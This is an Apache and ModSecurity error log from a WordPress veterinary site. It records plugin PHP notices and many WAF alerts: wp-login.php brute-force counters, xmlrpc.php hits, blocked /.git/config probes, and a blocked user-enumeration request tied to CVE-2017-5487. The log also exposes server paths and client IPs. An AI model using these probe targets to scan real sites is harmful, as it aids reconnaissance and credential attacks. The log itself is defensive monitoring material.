[Wed Jan 21 12:31:51.162760 2026] [proxy_fcgi:error] [pid 59863:tid 59873] [client 103.4.122.14:57236] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'O:8:\\"stdClass\\":5:{s:12:\\"last_checked\\";i:1769009507;s:8:\\"response\\";a:10:{s:16:\\"gotmls/index.php\\";O:8:\\"stdClass\\":14:{s:2:\\"id\\";s:20:\\"w.org/plugins/gotmls\\";s:4:\\"slug\\";s:6:\\"gotmls\\";s:6:\\"plugin\\";s:16:\\"gotmls/index.php\\";s:11:\\"new_version\\";s:7:\\"4.23.85\\";s:3:\\"url\\";s:37:\\"https://wordpress.org/plugins/gotmls/\\";s:7:\\"package\\";s:57:\\"https://downloads.wordpress.org/plugin/gotmls.4.23.85.zip\\";s:5:\\"icons\\";a:2:{s:2:\\"2x\\";s:59:\\"https://ps.w.org/gotmls/assets/icon-256x256.png?rev=1001824\\";s:2:\\"1x\\";s:59:\\"https://ps.w.org/gotmls/assets/icon-128x128.png?rev=1001824\\";}s:7:\\"banners\\";a:1:{s:2:\\"1x\\";s:61:\\"https://ps.w.org/gotmls/assets/banner-772x250.jpg?rev=1043954\\";}s:11:\\"banners_rtl\\";a:0:{}s:8:\\"requires\\";s:3:\\"3.3\\";s:6:\\"tested\\";s:5:\\"6.8.3\\";s:12:\\"requires_php\\";s:3:\\"5.6\\";s:16:\\"requires_plugins\\";a:0:{}s:14:\\"upgrade_noti...PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Wed Jan 21 12:32:10.361414 2026] [proxy_fcgi:error] [pid 21563:tid 21568] [client 103.4.122.14:57340] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132'
[Wed Jan 21 12:32:21.487324 2026] [proxy_fcgi:error] [pid 21456:tid 21527] [client 103.4.122.14:57452] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Wed Jan 21 12:34:03.148728 2026] [:error] [pid 21454:tid 21481] [client 142.93.97.196:61954] [client 142.93.97.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.97.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBXOzwp5UZmMFzY2brchgAAABE"]
[Wed Jan 21 12:34:06.196887 2026] [:error] [pid 21563:tid 21581] [client 142.93.97.196:63861] [client 142.93.97.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.97.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBXPhZq__dTorabEowSjwAAANA"]
[Wed Jan 21 12:35:34.214086 2026] [:error] [pid 21454:tid 21472] [client 46.182.4.125:53408] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.182.4.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBXljwp5UZmMFzY2brcugAAAAg"]
[Wed Jan 21 13:18:04.477012 2026] [:error] [pid 21563:tid 21586] [client 64.226.76.188:53275] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBhjBZq__dTorabEowhEgAAANU"]
[Wed Jan 21 13:21:00.365640 2026] [:error] [pid 21455:tid 21506] [client 64.226.76.188:58274] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBiPIpOKALCSo1URZHCMAAAAE8"]
[Wed Jan 21 13:23:48.393841 2026] [:error] [pid 21454:tid 21465] [client 64.226.76.188:64425] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBi5Dwp5UZmMFzY2brqbwAAAAE"]
[Wed Jan 21 13:27:17.803182 2026] [:error] [pid 21455:tid 21498] [client 64.226.76.188:53520] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBjtYpOKALCSo1URZHERwAAAEc"]
[Wed Jan 21 13:31:11.116707 2026] [:error] [pid 21563:tid 21589] [client 64.226.76.188:59215] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBknxZq__dTorabEowl3gAAANg"]
[Wed Jan 21 14:02:12.943727 2026] [:error] [pid 21563:tid 21579] [client 45.148.10.238:44140] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aXBr5BZq__dTorabEowxBQAAAM4"]
[Wed Jan 21 14:28:03.779052 2026] [:error] [pid 21454:tid 21467] [client 45.148.10.238:48404] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXBx8zwp5UZmMFzY2br7YwAAAAM"]
[Wed Jan 21 14:56:03.068967 2026] [:error] [pid 21455:tid 21496] [client 47.128.204.88:43314] [client 47.128.204.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.128.204.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXB4g4pOKALCSo1URZHaogAAAEU"]
[Wed Jan 21 16:12:58.924786 2026] [:error] [pid 4382:tid 4385] [client 94.205.249.38:11916] [client 94.205.249.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.205.249.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXCKipHg0falVG3JFbAbWgAAAYE"]
[Wed Jan 21 16:19:36.960208 2026] [:error] [pid 21456:tid 21520] [client 123.187.240.242:57792] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXCMGAKyVQ9Ob2YxRApDbAAAAII"]
[Wed Jan 21 18:40:53.620393 2026] [:error] [pid 21454:tid 21479] [client 45.148.10.238:33628] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aXCtNTwp5UZmMFzY2bovhgAAAA8"]
[Wed Jan 21 18:41:29.482900 2026] [:error] [pid 21456:tid 21519] [client 35.92.160.99:39442] [client 35.92.160.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.92.160.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXCtWQKyVQ9Ob2YxRApuIwAAAIE"]
[Wed Jan 21 19:03:27.920972 2026] [:error] [pid 21456:tid 21522] [client 45.148.10.238:58894] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXCyfwKyVQ9Ob2YxRAp1wAAAAIQ"]
[Wed Jan 21 19:39:27.625017 2026] [:error] [pid 56352:tid 56377] [client 213.232.122.145:14773] [client 213.232.122.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.232.122.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXC679WN6wYNPTU3efUHvgAAAVc"]
[Wed Jan 21 19:39:32.819510 2026] [:error] [pid 21456:tid 21530] [client 213.232.122.145:51411] [client 213.232.122.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.232.122.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXC69AKyVQ9Ob2YxRAqBJwAAAIw"]
[Wed Jan 21 19:55:46.889300 2026] [:error] [pid 21456:tid 21527] [client 148.113.180.195:36604] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.113.180.195, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXC-wgKyVQ9Ob2YxRAqFFgAAAIk"]
[Wed Jan 21 21:40:46.610027 2026] [:error] [pid 21456:tid 21533] [client 54.162.106.120:37164] [client 54.162.106.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXDXXgKyVQ9Ob2YxRAqjswAAAI8"]
[Wed Jan 21 22:04:34.905001 2026] [:error] [pid 21456:tid 21534] [client 1.145.54.27:1288] [client 1.145.54.27] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "54.39.203.180_38fe0bde74a94317ba64948c2013b47a85fb6514"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/02/20230222_123853-225x300.jpg"] [unique_id "aXDc7wKyVQ9Ob2YxRAqqcAAAAJA"], referer: https://vetstars.com.au/
[Wed Jan 21 22:25:45.411954 2026] [:error] [pid 21563:tid 21566] [client 59.125.102.226:34350] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXDh6RZq__dTorabEoyctAAAAME"]
[Wed Jan 21 22:51:46.262597 2026] [:error] [pid 21455:tid 21493] [client 217.160.189.228:53062] [client 217.160.189.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.189.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXDoAopOKALCSo1URZFQfQAAAEI"]
[Wed Jan 21 23:50:27.869267 2026] [:error] [pid 21455:tid 21514] [client 103.205.142.28:41732] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.205.142.28, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXD1w4pOKALCSo1URZFcMAAAAFc"]
[Thu Jan 22 00:50:38.907363 2026] [:error] [pid 21454:tid 21468] [client 136.118.153.63:60500] [client 136.118.153.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.153.63, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXED3jwp5UZmMFzY2bp2DwAAAAQ"]
[Thu Jan 22 00:50:41.524393 2026] [:error] [pid 21454:tid 21480] [client 136.118.153.63:60500] [client 136.118.153.63] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXED4Twp5UZmMFzY2bp2FQAAABA"]
[Thu Jan 22 00:50:44.470074 2026] [:error] [pid 21454:tid 21484] [client 136.118.153.63:60500] [client 136.118.153.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.153.63, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXED5Dwp5UZmMFzY2bp2GgAAABQ"]
[Thu Jan 22 03:08:32.557734 2026] [:error] [pid 4382:tid 4408] [client 159.203.76.93:55088] [client 159.203.76.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.76.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXEkMJHg0falVG3JFbCjoQAAAZg"]
[Thu Jan 22 03:44:19.307353 2026] [:error] [pid 21454:tid 21476] [client 188.95.54.39:60534] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.95.54.39, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXEskzwp5UZmMFzY2bqsHAAAAAw"], referer: https://vetstars.com.au/
[Thu Jan 22 04:15:21.671144 2026] [:error] [pid 52445:tid 52474] [client 178.198.226.47:39792] [client 178.198.226.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.198.226.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXEz2evMmsFgpSSb5L1z7wAAABQ"]
[Thu Jan 22 05:27:50.978679 2026] [:error] [pid 52447:tid 52511] [client 143.244.166.58:43028] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.244.166.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXFE1nRLA2NsdGqJzosviQAAAII"]
[Thu Jan 22 06:31:29.415989 2026] [:error] [pid 52447:tid 52511] [client 51.38.116.112:58134] [client 51.38.116.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.116.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXFTwXRLA2NsdGqJzotLgAAAAII"]
[Thu Jan 22 07:37:07.268303 2026] [:error] [pid 52446:tid 52500] [client 212.132.114.229:60500] [client 212.132.114.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.132.114.229, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXFjI7J6clMw4kdrHYFqSgAAAFI"]
[Thu Jan 22 08:43:24.247223 2026] [:error] [pid 52447:tid 52513] [client 98.142.241.151:41476] [client 98.142.241.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.142.241.151, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXFyrHRLA2NsdGqJzouEgwAAAIQ"]
[Thu Jan 22 08:58:26.375897 2026] [:error] [pid 36083:tid 36093] [client 65.38.25.38:40131] [client 65.38.25.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.38.25.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXF2MpCng2nQoR5iqwriGQAAAUc"]
[Thu Jan 22 09:52:20.830158 2026] [:error] [pid 52556:tid 52581] [client 149.202.183.73:53114] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.202.183.73, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXGC1Og4y1NKM4AgfjChngAAANc"]
[Thu Jan 22 10:59:11.204725 2026] [:error] [pid 36083:tid 36099] [client 178.198.226.47:54604] [client 178.198.226.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.198.226.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXGSf5Cng2nQoR5iqwoFXgAAAU0"]
[Thu Jan 22 11:00:09.659800 2026] [:error] [pid 27550:tid 27565] [client 59.125.102.226:49112] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXGSueOQDPzfV5R2LYSP_wAAAQ0"]
[Thu Jan 22 11:31:50.771300 2026] [:error] [pid 52446:tid 52495] [client 223.15.245.170:60486] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXGaJrJ6clMw4kdrHYGgPwAAAE0"]
[Thu Jan 22 12:05:48.358188 2026] [:error] [pid 52445:tid 52464] [client 143.110.190.80:59548] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.190.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXGiHOvMmsFgpSSb5L3htQAAAAo"]
[Thu Jan 22 13:11:08.360081 2026] [:error] [pid 52556:tid 52579] [client 107.180.252.236:43600] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.252.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXGxbOg4y1NKM4AgfjDkOQAAANU"]
[Thu Jan 22 14:20:00.180669 2026] [:error] [pid 52445:tid 52459] [client 93.190.49.83:33944] [client 93.190.49.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.190.49.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXHBkOvMmsFgpSSb5L0JvAAAAAU"]
[Thu Jan 22 15:32:50.014523 2026] [:error] [pid 27550:tid 27556] [client 45.89.190.62:38034] [client 45.89.190.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.89.190.62, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXHSouOQDPzfV5R2LYT_XwAAAQQ"]
[Thu Jan 22 16:38:05.484852 2026] [:error] [pid 52447:tid 52522] [client 34.38.32.188:54318] [client 34.38.32.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.38.32.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXHh7XRLA2NsdGqJzosbMAAAAI0"]
[Thu Jan 22 16:58:22.256864 2026] [:error] [pid 52447:tid 52514] [client 43.166.238.12:55706] [client 43.166.238.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXHmrnRLA2NsdGqJzosgdQAAAIU"]
[Thu Jan 22 17:49:14.898384 2026] [:error] [pid 52445:tid 52461] [client 178.62.32.109:45726] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.32.109, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXHymuvMmsFgpSSb5L1ElwAAAAc"]
[Thu Jan 22 18:00:04.814172 2026] [:error] [pid 27550:tid 27564] [client 182.42.104.32:52859] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXH1JOOQDPzfV5R2LYQljAAAAQw"]
[Thu Jan 22 20:33:53.461762 2026] [:error] [pid 36083:tid 36096] [client 109.228.37.48:59530] [client 109.228.37.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.228.37.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXIZMZCng2nQoR5iqwqktgAAAUo"]
[Thu Jan 22 20:55:49.663082 2026] [:error] [pid 52447:tid 52516] [client 43.153.74.75:49896] [client 43.153.74.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXIeVXRLA2NsdGqJzotdIQAAAIc"]
